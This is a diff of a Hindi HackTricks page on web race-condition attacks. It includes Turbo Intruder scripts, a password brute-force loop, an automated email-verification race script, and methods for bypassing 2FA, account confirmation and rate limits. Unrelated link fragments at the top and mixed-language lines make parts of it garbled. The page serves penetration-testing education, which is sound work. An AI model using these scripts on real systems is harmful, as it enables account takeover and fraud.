- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)
|
||||||
- [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
|
- [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
|
||||||
|
@ -3,56 +3,56 @@
|
|||||||
{{#include ../banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> इस तकनीक की गहन समझ प्राप्त करने के लिए मूल रिपोर्ट देखें [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
|
> इस तकनीक की गहरी समझ प्राप्त करने के लिए मूल रिपोर्ट देखें [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
|
||||||
|
|
||||||
## Race Condition हमलों को बेहतर बनाना
|
## Race Condition हमलों को बेहतर बनाना
|
||||||
|
|
||||||
race conditions का फायदा उठाने में मुख्य बाधा यह सुनिश्चित करना है कि कई requests एक ही समय में संसाधित हों, और उनके प्रोसेसिंग टाइम में **बहुत कम अंतर — आदर्श रूप से 1ms से कम** हो।
|
मुख्य बाधा यह सुनिश्चित करना है कि एक साथ कई requests को लगभग एक साथ हैंडल किया जाए, उनके प्रोसेसिंग समय में **बहुत कम अंतर — आदर्श रूप में, 1ms से कम**।
|
||||||
|
|
||||||
यहाँ आप Requests को सिंक्रोनाइज़ करने के लिए कुछ तकनीकें पा सकते हैं:
|
यहाँ अनुरोधों को समकालिक करने के लिए कुछ तकनीकें दी गई हैं:
|
||||||
|
|
||||||
#### HTTP/2 Single-Packet Attack vs. HTTP/1.1 Last-Byte Synchronization
|
#### HTTP/2 Single-Packet Attack vs. HTTP/1.1 Last-Byte Synchronization
|
||||||
|
|
||||||
- **HTTP/2**: एकल TCP कनेक्शन पर दो requests भेजने का समर्थन करता है, जिससे network jitter का प्रभाव कम होता है। हालांकि, server-side विविधताओं के कारण, दो requests एक स्थिर race condition exploit के लिए पर्याप्त नहीं हो सकते।
|
- **HTTP/2**: एक ही TCP कनेक्शन पर दो requests भेजने का समर्थन करता है, जिससे network jitter का प्रभाव कम होता है। हालांकि, server-side विविधताओं के कारण, दो requests एक स्थिर race condition exploit के लिए हमेशा पर्याप्त नहीं होते।
|
||||||
- **HTTP/1.1 'Last-Byte Sync'**: 20-30 requests के अधिकांश हिस्सों को पहले ही भेजने में सक्षम बनाता है, एक छोटा सा fragment रोका जाता है, जिसे फिर साथ में भेजा जाता है, जिससे server पर एक साथ आगमन हासिल होता है।
|
- **HTTP/1.1 'Last-Byte Sync'**: 20-30 requests के अधिकांश हिस्सों को पहले से भेजने में सक्षम बनाता है, एक छोटा fragment रोक कर रखा जाता है, जिसे बाद में साथ भेजा जाता है, जिससे सर्वर पर एक साथ पहुंच सुनिश्चित होती है।
|
||||||
|
|
||||||
**Preparation for Last-Byte Sync** में शामिल हैं:
|
**Preparation for Last-Byte Sync** में शामिल हैं:
|
||||||
|
|
||||||
1. headers और body डेटा को अंतिम byte को छोड़कर भेजना, stream को समाप्त किए बिना।
|
1. headers और body डेटा भेजना, अंतिम बाइट छोड़कर, stream को बंद किए बिना।
|
||||||
2. प्रारंभिक भेजने के बाद 100ms के लिए रुकना।
|
2. प्रारंभिक भेजने के बाद 100ms के लिए रोकना।
|
||||||
3. अंतिम frames को बैच करने के लिए TCP_NODELAY को disable करना ताकि Nagle's algorithm का उपयोग हो सके।
|
3. TCP_NODELAY को disable करना ताकि Nagle's algorithm final frames को batch कर सके।
|
||||||
4. कनेक्शन को warm up करने के लिए ping करना।
|
4. कनेक्शन warm up करने के लिए ping करना।
|
||||||
|
|
||||||
बाद में रोके गए frames को भेजने पर उनका आगमन एक single packet में होना चाहिए, जिसे Wireshark के जरिए verify किया जा सकता है। यह विधि static files पर लागू नहीं होती, जो आमतौर पर RC attacks में शामिल नहीं होते।
|
रोक कर रखे गए frames को बाद में भेजने से वे एक single packet में पहुँचने चाहिए, जिसे Wireshark से सत्यापित किया जा सकता है। यह तरीका static files पर लागू नहीं होता, जो सामान्यतः RC attacks में शामिल नहीं होते।
|
||||||
|
|
||||||
### Server Architecture के अनुसार अनुकूलन
|
### Server Architecture के अनुसार अनुकूलन
|
||||||
|
|
||||||
लक्ष्य की architecture को समझना महत्वपूर्ण है। Front-end servers requests को अलग तरीके से route कर सकते हैं, जिससे timing प्रभावित होती है। महत्वहीन requests के जरिए preemptive server-side connection warming request timing को सामान्य कर सकता है।
|
लक्ष्य की architecture को समझना बेहद महत्वपूर्ण है। Front-end servers अनुरोधों को अलग तरह से route कर सकते हैं, जो timing को प्रभावित करता है। बेबाक/अहमियतहीन अनुरोधों के माध्यम से server-side connection warming पहले से करने से request timing सामान्य हो सकती है।
|
||||||
|
|
||||||
#### Handling Session-Based Locking
|
#### Session-Based Locking को हैंडल करना
|
||||||
|
|
||||||
PHP जैसे frameworks का session handler सत्र के अनुसार requests को serialize करते हैं, जिससे संभावित vulnerabilities छिप सकती हैं। हर request के लिए अलग session tokens का उपयोग इस समस्या को circumvent कर सकता है।
|
PHP जैसे frameworks का session handler session के हिसाब से requests को serialize करते हैं, जो संभावित vulnerabilities को छुपा सकते हैं। प्रत्येक request के लिए अलग session tokens का उपयोग इस समस्या को पार कर सकता है।
|
||||||
|
|
||||||
#### Overcoming Rate or Resource Limits
|
#### Rate या Resource Limits को पार करना
|
||||||
|
|
||||||
यदि connection warming प्रभावी नहीं है, तो dummy requests के बाढ़ के जरिए web servers के rate या resource limits द्वारा देरी पैदा करने के लिए जानबूझकर trigger करना single-packet attack को सुगम बना सकता है, क्योंकि यह server-side delay उत्पन्न करता है जो race conditions के अनुकूल होता है।
|
यदि connection warming प्रभावी नहीं है, तो dummy requests की बाढ़ के जरिए web servers के rate या resource limit delays को जानबूझकर ट्रिगर करने से server-side delay पैदा हो सकता है जो race conditions के अनुकूल होकर single-packet attack को आसान बना सकता है।
|
||||||
|
|
||||||
## Attack Examples
|
## Attack Examples
|
||||||
|
|
||||||
- **Tubo Intruder - HTTP2 single-packet attack (1 endpoint)**: आप request को **Turbo intruder** को भेज सकते हैं (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`), आप request में उस value को बदल सकते हैं जिसे आप brute force करना चाहते हैं **`%s`** जैसे `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` और फिर drop down से **`examples/race-single-packer-attack.py`** चुनें:
|
- **Tubo Intruder - HTTP2 single-packet attack (1 endpoint)**: आप request को **Turbo intruder** (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`) में भेज सकते हैं, request में उस value को बदल सकते हैं जिसे आप brute force करना चाहते हैं — उदाहरण के लिए **`%s`** जैसा `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` — और फिर ड्रॉपडाउन से **`examples/race-single-packer-attack.py`** चुनें:
|
||||||
|
|
||||||
<figure><img src="../images/image (57).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../images/image (57).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
यदि आप अलग-अलग values भेजने जा रहे हैं, तो आप code को इस तरह modify कर सकते हैं जो clipboard से एक wordlist का उपयोग करता है:
|
अगर आप **send different values** करने जा रहे हैं, तो आप कोड को इस तरह बदल सकते हैं जो clipboard से wordlist का उपयोग करता है:
|
||||||
```python
|
```python
|
||||||
passwords = wordlists.clipboard
|
passwords = wordlists.clipboard
|
||||||
for password in passwords:
|
for password in passwords:
|
||||||
engine.queue(target.req, password, gate='race1')
|
engine.queue(target.req, password, gate='race1')
|
||||||
```
|
```
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> अगर वेब HTTP2 को सपोर्ट नहीं करता (केवल HTTP1.1) तो `Engine.THREADED` या `Engine.BURP` का उपयोग `Engine.BURP2` की बजाय करें।
|
> अगर वेब HTTP2 का समर्थन नहीं करता (केवल HTTP1.1), तो `Engine.THREADED` या `Engine.BURP` का उपयोग `Engine.BURP2` के बजाय करें.
|
||||||
|
|
||||||
- **Tubo Intruder - HTTP2 single-packet attack (Several endpoints)**: यदि आपको 1 endpoint पर एक request भेजनी हो और फिर RCE ट्रिगर करने के लिए अन्य endpoints पर कई requests भेजनी हों, तो आप `race-single-packet-attack.py` script को कुछ इस तरह बदल सकते हैं:
|
- **Tubo Intruder - HTTP2 single-packet attack (Several endpoints)**: अगर आपको 1 endpoint पर एक request भेजनी है और फिर RCE trigger करने के लिए अन्य endpoints पर कई request भेजनी हों, तो आप `race-single-packet-attack.py` script को कुछ इस तरह बदल सकते हैं:
|
||||||
```python
|
```python
|
||||||
def queueRequests(target, wordlists):
|
def queueRequests(target, wordlists):
|
||||||
engine = RequestEngine(endpoint=target.endpoint,
|
engine = RequestEngine(endpoint=target.endpoint,
|
||||||
@ -83,16 +83,16 @@ engine.queue(confirmationReq, gate=currentAttempt)
|
|||||||
# send all the queued requests for this attempt
|
# send all the queued requests for this attempt
|
||||||
engine.openGate(currentAttempt)
|
engine.openGate(currentAttempt)
|
||||||
```
|
```
|
||||||
- यह **Repeater** में भी उपलब्ध है, Burp Suite के नए '**Send group in parallel**' विकल्प के माध्यम से।
|
- यह भी **Repeater** में उपलब्ध है, Burp Suite के नए '**Send group in parallel**' विकल्प के माध्यम से।
|
||||||
- **limit-overrun** के लिए आप समूह में **उसी अनुरोध को 50 बार** जोड़ सकते हैं।
|
- **limit-overrun** के लिए आप समूह में बस **उसी request को 50 बार** जोड़ सकते हैं।
|
||||||
- **connection warming** के लिए आप समूह के **beginning** में web server के किसी non static हिस्से के लिए कुछ **requests** जोड़ सकते हैं।
|
- **connection warming** के लिए, आप **group** की **beginning** पर वेब सर्वर के किसी non static हिस्से के लिए कुछ **requests** जोड़ सकते हैं।
|
||||||
- दो उप-स्टेट्स वाले चरणों में एक अनुरोध और अगले अनुरोध के प्रोसेसिंग के **between** प्रक्रिया को **delaying** करने के लिए, आप दोनों अनुरोधों के बीच अतिरिक्त **requests** जोड़ सकते हैं।
|
- 2 substates steps में एक request से दूसरे request को प्रोसेस करने के बीच प्रक्रिया को **delaying** करने के लिए, आप दोनों requests के बीच अतिरिक्त requests जोड़ सकते हैं।
|
||||||
- एक **multi-endpoint** RC के लिए आप वह **request** भेजना शुरू कर सकते हैं जो **goes to the hidden state**, और उसके तुरंत बाद उस छिपे हुए स्टेट को **exploits the hidden state** करने वाले **50 requests** भेज सकते हैं।
|
- एक **multi-endpoint** RC के लिए आप वह **request** भेजना शुरू कर सकते हैं जो **hidden state** में जाता है और उसके ठीक बाद उस hidden state का **exploit** करने के लिए **50 requests** भेजें।
|
||||||
|
|
||||||
<figure><img src="../images/image (58).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../images/image (58).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
- **Automated python script**: इस स्क्रिप्ट का उद्देश्य एक उपयोगकर्ता का email बदलना है और लगातार उसे verify करते रहना है जब तक नए email का verification token अंतिम email पर नहीं पहुँच जाता (कोड में ऐसा RC देखा गया था जहाँ email को संशोधित किया जा सकता था लेकिन verification पुराने ईमेल पर भेज दिया जाता था क्योंकि email सूचित करने वाला variable पहले वाले से पहले ही populated था)।\
|
- **Automated python script**: इस script का उद्देश्य एक user का email बदलना है और इसे लगातार verify करते रहना जब तक नए email का verification token आखिरी email पर न पहुँच जाए (यह इसलिए था क्योंकि code में एक RC देखा गया था जहाँ email modify किया जा सकता था पर verification पुरानी email पर भेज दी जाती थी क्योंकि email बताने वाला variable पहले वाले से ही populated था).\
|
||||||
जब प्राप्त ईमेल्स में शब्द "objetivo" पाया जाता है तो हमें पता चलता है कि हमने बदले गए ईमेल का verification token प्राप्त कर लिया है और हम हमला समाप्त कर देते हैं।
|
जब प्राप्त ईमेलों में शब्द "objetivo" मिलता है तो हमें पता चलता है कि हमने बदले हुए email का verification token प्राप्त कर लिया है और हम attack समाप्त कर देते हैं।
|
||||||
```python
|
```python
|
||||||
# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
|
# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
|
||||||
# Script from victor to solve a HTB challenge
|
# Script from victor to solve a HTB challenge
|
||||||
@ -217,21 +217,28 @@ h2_conn.close_connection()
|
|||||||
|
|
||||||
response = requests.get(url, verify=False)
|
response = requests.get(url, verify=False)
|
||||||
```
|
```
|
||||||
|
#### Turbo Intruder: इंजन और गेटिंग नोट्स
|
||||||
|
|
||||||
|
- Engine चयन: HTTP/2 लक्ष्यों पर `Engine.BURP2` उपयोग करें ताकि single‑packet attack ट्रिगर हो; HTTP/1.1 last‑byte sync के लिए `Engine.THREADED` या `Engine.BURP` पर वापस जाएँ।
|
||||||
|
- `gate`/`openGate`: कई कॉपीज़ `gate='race1'` (या per‑attempt gates) के साथ queue करें, जो प्रत्येक request की tail रोकता है; `openGate('race1')` सभी tails को एक साथ flush करता है ताकि वे लगभग एक साथ पहुँचें।
|
||||||
|
- Diagnostics: Turbo Intruder में negative timestamps दर्शाते हैं कि server ने response भेज दिया request पूरी तरह भेजे जाने से पहले, जो overlap को साबित करता है। यह true races में अपेक्षित है।
|
||||||
|
- Connection warming: समय निर्धारण स्थिर करने के लिए पहले एक ping या कुछ harmless requests भेजें; वैकल्पिक रूप से अंतिम frames के batching को बढ़ावा देने के लिए `TCP_NODELAY` disable करें।
|
||||||
|
|
||||||
### Single Packet Attack में सुधार
|
### Single Packet Attack में सुधार
|
||||||
|
|
||||||
मूल रिसर्च में समझाया गया है कि इस attack की सीमा 1,500 bytes है। हालांकि, [**this post**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/) में बताया गया है कि IP layer fragmentation का उपयोग करके single packet attack की 1,500-byte सीमा को TCP की 65,535 B window limitation तक बढ़ाना संभव है (एक single packet को कई IP packets में विभाजित करना) और उन्हें अलग-अलग क्रम में भेजना, जिससे तब तक packet का पुनः संयोजन रोका जा सकता है जब तक सभी fragments server तक न पहुँच जाएँ। इस तकनीक ने researcher को लगभग 166ms में 10,000 requests भेजने की अनुमति दी।
|
Original research में बताया गया है कि इस attack की सीमा 1,500 bytes है। हालांकि, [**this post**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/), में समझाया गया कि कैसे single packet attack की 1,500‑byte सीमितता को IP layer fragmentation का उपयोग करके TCP की **65,535 B window limitation** तक बढ़ाया जा सकता है (एक single packet को कई IP packets में split करना) और उन्हें अलग‑अलग order में भेजना, जिससे packet का reassemble तब तक रोका जा सकता है जब तक सभी fragments सर्वर तक नहीं पहुँच जाते। इस तकनीक से researcher को लगभग 166ms में 10,000 requests भेजने की अनुमति मिली।
|
||||||
|
|
||||||
ध्यान दें कि हालांकि यह सुधार उन RC मामलों में attack को अधिक reliable बनाता है जिनमें सैकड़ों/हज़ारों packets को एक साथ पहुँचने की आवश्यकता होती है, इसके कुछ software सीमाएँ भी हो सकती हैं। कुछ लोकप्रिय HTTP servers जैसे Apache, Nginx और Go में `SETTINGS_MAX_CONCURRENT_STREAMS` सेटिंग कड़ाई से 100, 128 और 250 पर होती है। हालांकि, अन्य जैसे NodeJS और nghttp2 में यह unlimited है.\
|
Note कि हालांकि यह सुधार उन RC में attack को अधिक विश्वसनीय बनाता है जिनके लिए सैकड़ों/हज़ारों packets को एक ही समय में पहुँचने की आवश्यकता होती है, इसके कुछ software सीमाएँ भी हो सकती हैं। कुछ लोकप्रिय HTTP servers जैसे Apache, Nginx और Go में `SETTINGS_MAX_CONCURRENT_STREAMS` की कड़ाई से सेटिंग होती है — क्रमशः 100, 128 और 250। हालांकि, NodeJS और nghttp2 जैसे अन्य में यह अनलिमिटेड है.\
|
||||||
इसका मूल मतलब है कि Apache केवल एक single TCP connection से 100 HTTP connections ही स्वीकार करेगा (जो इस RC attack को सीमित करता है)।
|
यह मूलतः मतलब है कि Apache केवल एक single TCP connection से 100 HTTP connections को ही consider करेगा (जो इस RC attack को सीमित करता है)।
|
||||||
|
|
||||||
आप इस तकनीक का उपयोग करने वाले कुछ उदाहरण इस repo में पा सकते हैं: https://github.com/Ry0taK/first-sequence-sync/tree/main
|
You can find some examples using this technique in the repo [https://github.com/Ry0taK/first-sequence-sync/tree/main](https://github.com/Ry0taK/first-sequence-sync/tree/main).
|
||||||
|
|
||||||
## Raw BF
|
## Raw BF
|
||||||
|
|
||||||
पिछले research से पहले कुछ ऐसे payloads उपयोग किए जाते थे जो केवल packets को जितनी जल्दी हो सके भेजने की कोशिश करते थे ताकि RC पैदा हो सके।
|
पिछले research से पहले, ये कुछ payloads थे जिनका उपयोग केवल packets को RC पैदा करने के लिए यथासंभव तेज़ी से भेजने की कोशिश करने में किया जाता था।
|
||||||
|
|
||||||
- **Repeater:** पिछले सेक्शन के उदाहरण देखें।
|
- **Repeater:** पिछले सेक्शन के examples देखें।
|
||||||
- **Intruder**: **request** को **Intruder** पर भेजें, **Options menu** के अंदर **number of threads** को **30** पर सेट करें, payload के रूप में **Null payloads** चुनें और **30** जनरेट करें।
|
- **Intruder**: Intruder को **request** भेजें, **Options menu** के अंदर **number of threads** को **30** पर सेट करें, payload के रूप में **Null payloads** चुनें और **30** generate करें।
|
||||||
- **Turbo Intruder**
|
- **Turbo Intruder**
|
||||||
```python
|
```python
|
||||||
def queueRequests(target, wordlists):
|
def queueRequests(target, wordlists):
|
||||||
@ -279,75 +286,75 @@ print(results)
|
|||||||
|
|
||||||
asyncio.run(main())
|
asyncio.run(main())
|
||||||
```
|
```
|
||||||
## **RC Methodology**
|
## **RC कार्यप्रणाली**
|
||||||
|
|
||||||
### Limit-overrun / TOCTOU
|
### Limit-overrun / TOCTOU
|
||||||
|
|
||||||
यह race condition का सबसे बुनियादी प्रकार है जहाँ **vulnerabilities** उन जगहों पर **प्रकट** होते हैं जो किसी कार्रवाई को करने की संख्या को **सीमित** करते हैं। उदाहरण के लिए किसी वेब स्टोर में एक ही डिस्काउंट कोड को कई बार उपयोग करना। एक बहुत ही साधारण उदाहरण [**this report**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) या [**this bug**](https://hackerone.com/reports/759247)**.**
|
यह race condition का सबसे बुनियादी प्रकार है जहाँ ऐसी **vulnerabilities** प्रकट होती हैं जो उन जगहों में होती हैं जहाँ किसी क्रिया को करने की संख्या पर सीमा लगाई जाती है। उदाहरण के लिए किसी ऑनलाइन स्टोर में एक ही discount code को कई बार उपयोग करना। एक बहुत आसान उदाहरण [**this report**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) या [**this bug**](https://hackerone.com/reports/759247)**.**
|
||||||
|
|
||||||
इस प्रकार के हमले के कई रूप हैं, जैसे:
|
इस तरह के हमलों के कई रूप हैं, जिनमें शामिल हैं:
|
||||||
|
|
||||||
- एक gift card को कई बार redeem करना
|
- एक उपहार कार्ड को कई बार रिडीम करना
|
||||||
- किसी उत्पाद को बार-बार रेट करना
|
- किसी उत्पाद को कई बार रेट करना
|
||||||
- अपने account balance से अधिक राशि withdraw या transfer करना
|
- अपने खाते के बैलेंस से अधिक नकद निकालना या ट्रांसफर करना
|
||||||
- एक ही CAPTCHA solution को reuse करना
|
- एक ही CAPTCHA समाधान को पुनः उपयोग करना
|
||||||
- Bypassing an anti-brute-force rate limit
|
- एक anti-brute-force rate limit को बायपास करना
|
||||||
|
|
||||||
### **Hidden substates**
|
### **Hidden substates**
|
||||||
|
|
||||||
कठिन race conditions का फायदा अक्सर उन छोटे समय-खिड़कियों में उठाया जाता है जहाँ आप hidden या **unintended machine substates** के साथ इंटरैक्ट कर सकते हैं। इस तरह से आगे बढ़ें:
|
Complex race conditions का exploit अक्सर छिपे या **unintended machine substates** के साथ अस्थायी अवसरों का फायदा उठाने में शामिल होता है। इसे करने का तरीका यहाँ है:
|
||||||
|
|
||||||
1. **Identify Potential Hidden Substates**
|
1. **Identify Potential Hidden Substates**
|
||||||
- शुरुआत उन endpoints की पहचान से करें जो critical डेटा जैसे user profiles या password reset प्रक्रियाओं को modify या interact करते हैं। ध्यान दें:
|
- पहले उन endpoints को पहचानें जो critical data को modify या interact करते हैं, जैसे user profiles या password reset प्रक्रियाएँ। ध्यान दें:
|
||||||
- **Storage**: उन endpoints को प्राथमिकता दें जो server-side persistent data को manipulate करते हैं, न कि उनपर जो client-side data संभालते हैं।
|
- **Storage**: server-side persistent data को manipulate करने वाले endpoints को प्राथमिकता दें बजाय उन endpoints के जो client-side data संभालते हैं।
|
||||||
- **Action**: ऐसे operations खोजें जो मौजूदा डेटा को बदलते हैं — नए डेटा जोड़ने की तुलना में ऐसे ऑपरेशन exploit करने के लिए अधिक संभावित होते हैं।
|
- **Action**: ऐसे ऑपरेशन्स ढूँढें जो मौजूदा डेटा को alter करते हैं — ये नए डेटा जोड़ने की तुलना में exploitable स्थितियाँ बनाने की अधिक संभावना रखते हैं।
|
||||||
- **Keying**: सफल हमलों में आम तौर पर वही identifier उपयोग होता है, जैसे username या reset token।
|
- **Keying**: सफल attacks आमतौर पर एक ही identifier पर keyed operations शामिल करते हैं, जैसे username या reset token।
|
||||||
2. **Conduct Initial Probing**
|
2. **Conduct Initial Probing**
|
||||||
- पहचाने गए endpoints पर race condition हमले करके टेस्ट करें और अपेक्षित परिणामों से किसी भी विचलन को observe करें। अप्रत्याशित responses या एप्लिकेशन व्यवहार में बदलाव vulnerability का संकेत दे सकते हैं।
|
- पहचाने गए endpoints पर race condition attacks के साथ टेस्ट करें और अपेक्षित परिणामों से किसी भी विचलन का निरीक्षण करें। अप्रत्याशित responses या application व्यवहार में बदलाव एक vulnerability का संकेत हो सकते हैं।
|
||||||
3. **Demonstrate the Vulnerability**
|
3. **Demonstrate the Vulnerability**
|
||||||
- हमले को exploit करने के लिए आवश्यक न्यूनतम अनुरोधों की संख्या तक सीमित करें, अक्सर बस दो। इस चरण में precise timing के कारण कई प्रयास या automation की आवश्यकता हो सकती है।
|
- attack को उन न्यूनतम requests तक संकुचित करें जो vulnerability को exploit करने के लिए आवश्यक हों, अक्सर सिर्फ दो। सटीक timing के कारण यह चरण कई प्रयासों या automation की माँग कर सकता है।
|
||||||
|
|
||||||
### Time Sensitive Attacks
|
### Time Sensitive Attacks
|
||||||
|
|
||||||
अनुरोधों के समय में सटीकता vulnerabilities उजागर कर सकती है, खासकर जब security tokens के लिए timestamps जैसे predictable तरीके उपयोग किए गए हों। उदाहरण के लिए, timestamp पर आधारित password reset tokens simultaneous requests के लिए identical tokens पैदा कर सकते हैं।
|
Requests के timing में सटीकता vulnerabilities को उजागर कर सकती है, खासकर जब security tokens के लिए timestamps जैसे predictable तरीके उपयोग किए जाते हैं। उदाहरण के लिए, यदि password reset tokens timestamps पर आधारित हों तो simultaneous requests के लिए identical tokens बन सकते हैं।
|
||||||
|
|
||||||
To Exploit:
|
**Exploit करने के लिए:**
|
||||||
|
|
||||||
- सटीक timing का उपयोग करें, जैसे single packet attack, एक साथ password reset requests करने के लिए। identical tokens vulnerability का संकेत हैं।
|
- सटीक timing का उपयोग करें, जैसे single packet attack, concurrent password reset requests भेजें। Identical tokens एक vulnerability का संकेत हैं।
|
||||||
|
|
||||||
Example:
|
**उदाहरण:**
|
||||||
|
|
||||||
- एक ही समय पर दो password reset tokens request करें और उनकी तुलना करें। यदि tokens मेल खाते हैं तो यह token generation में दोष का संकेत है।
|
- एक ही समय में दो password reset tokens अनुरोध करें और उनकी तुलना करें। मिलते-जुलते tokens token generation में दोष का संकेत देते हैं।
|
||||||
|
|
||||||
**Check this** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **to try this.**
|
इसे आज़माने के लिए [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) देखें।
|
||||||
|
|
||||||
## Hidden substates case studies
|
## Hidden substates case studies
|
||||||
|
|
||||||
### Pay & add an Item
|
### Pay & add an Item
|
||||||
|
|
||||||
Check this [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) to see how to **pay** in a store and **add an extra** item you that **won't need to pay for it**.
|
यह देखने के लिए [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) देखें कि कैसे किसी store में **pay** करके और एक अतिरिक्त आइटम **add an extra** कर सकते हैं जिसे आपको **pay नहीं करना पड़ेगा**।
|
||||||
|
|
||||||
### Confirm other emails
|
### Confirm other emails
|
||||||
|
|
||||||
विचार यह है कि एक ही समय पर किसी email address को verify किया जाए और उसे किसी दूसरे email में change किया जाए ताकि पता चल सके कि प्लेटफ़ॉर्म नए email को verify करता है या नहीं।
|
विचार यह है कि एक ही समय पर **एक ईमेल पता verify करें और उसे किसी दूसरे पते में बदल दें** ताकि यह पता चले कि प्लेटफ़ॉर्म नए पते की vérification करता है या नहीं।
|
||||||
|
|
||||||
### Change email to 2 emails addresses Cookie based
|
### Change email to 2 emails addresses Cookie based
|
||||||
|
|
||||||
According to [**this research**](https://portswigger.net/research/smashing-the-state-machine) Gitlab इस तरीके से takeover के लिए vulnerable था क्योंकि यह संभवतः एक email का email verification token दूसरे email पर **send** कर सकता था।
|
के अनुसार [**this research**](https://portswigger.net/research/smashing-the-state-machine) Gitlab इस तरह takeover के लिए vulnerable था क्योंकि यह संभवतः **send** कर सकता था **the email verification token of one email to the other email**।
|
||||||
|
|
||||||
**Check this** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **to try this.**
|
इसे आज़माने के लिए [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) देखें।
|
||||||
|
|
||||||
### Hidden Database states / Confirmation Bypass
|
### Hidden Database states / Confirmation Bypass
|
||||||
|
|
||||||
यदि किसी database में जानकारी जोड़ने के लिए **2 different writes** उपयोग किए जाते हैं, तो एक छोटा सा समय-खिड़की होता है जहाँ केवल पहला डेटा ही database में लिखा गया होता है। उदाहरण के लिए, user बनाते समय पहले **username** और **password** लिखे जा सकते हैं और उसके बाद newly created account को confirm करने के लिए token लिखा जा सकता है। इसका अर्थ है कि एक छोटे समय लिए account confirm करने का **token null** हो सकता है।
|
यदि **2 different writes** किसी **database** के अंदर **information** जोड़ने के लिए उपयोग की जाती हैं, तो एक छोटा सा समय अंतराल होता है जहाँ database के अंदर **only the first data has been written** होता है। उदाहरण के लिए, user बनाते समय **username** और **password** पहले **written** हो सकते हैं और फिर newly created account को confirm करने के लिए **the token** लिखा जाता है। इसका मतलब है कि एक छोटे समय के लिए **token to confirm an account is null** होता है।
|
||||||
|
|
||||||
इसलिए एक account register करना और तुरंत account confirm करने के लिए खाली token के साथ कई requests भेजना (`token=` या `token[]=` या कोई अन्य variation) c**onfirm an account** की अनुमति दे सकता है जहाँ आप email को control नहीं करते।
|
इसलिए, **registering an account and sending several requests with an empty token** (`token=` or `token[]=` or any other variation) तुरंत account confirm करने के लिए भेजना आपको ऐसे account को c**onfirm an account** करने की अनुमति दे सकता है जिसका ईमेल आप नियंत्रित नहीं करते।
|
||||||
|
|
||||||
**Check this** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **to try this.**
|
इसे आज़माने के लिए [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) देखें।
|
||||||
|
|
||||||
### Bypass 2FA
|
### Bypass 2FA
|
||||||
|
|
||||||
The following pseudo-code is vulnerable to race condition because in a very small time the **2FA is not enforced** while the session is created:
|
नीचे दिया गया pseudo-code race condition के लिए vulnerable है क्योंकि बहुत छोटे समय में session बनते समय **2FA is not enforced** होता है:
|
||||||
```python
|
```python
|
||||||
session['userid'] = user.userid
|
session['userid'] = user.userid
|
||||||
if user.mfa_enabled:
|
if user.mfa_enabled:
|
||||||
@ -355,24 +362,33 @@ session['enforce_mfa'] = True
|
|||||||
# generate and send MFA code to user
|
# generate and send MFA code to user
|
||||||
# redirect browser to MFA code entry form
|
# redirect browser to MFA code entry form
|
||||||
```
|
```
|
||||||
### OAuth2 की शाश्वत स्थिरता
|
### OAuth2 स्थायी पहुँच
|
||||||
|
|
||||||
|
There are several [**OAUth providers**](https://en.wikipedia.org/wiki/List_of_OAuth_providers). Theses services will allow you to create an application and authenticate users that the provider has registered. In order to do so, the **client** will need to **permit your application** to access some of their data inside of the **OAUth provider**.\
|
||||||
|
तो, अब तक यह बस google/linkedin/github... के साथ सामान्य लॉगिन है जहाँ आपको एक पेज दिखाया जाता है जिसमें लिखा होता है: "_Application \<InsertCoolName> आपकी जानकारी तक पहुँचना चाहता है, क्या आप अनुमति देना चाहेंगे?_"
|
||||||
|
|
||||||
कई [**OAUth providers**](https://en.wikipedia.org/wiki/List_of_OAuth_providers) मौजूद हैं। ये सेवाएँ आपको एक application बनाने और उन users को authenticate करने की अनुमति देती हैं जिन्हें provider ने रजिस्टर किया है।
|
|
||||||
ऐसा करने के लिए **client** को **permit your application** करके **OAUth provider** के अंदर उनके कुछ डेटा तक पहुँच की अनुमति देनी होगी।\
|
|
||||||
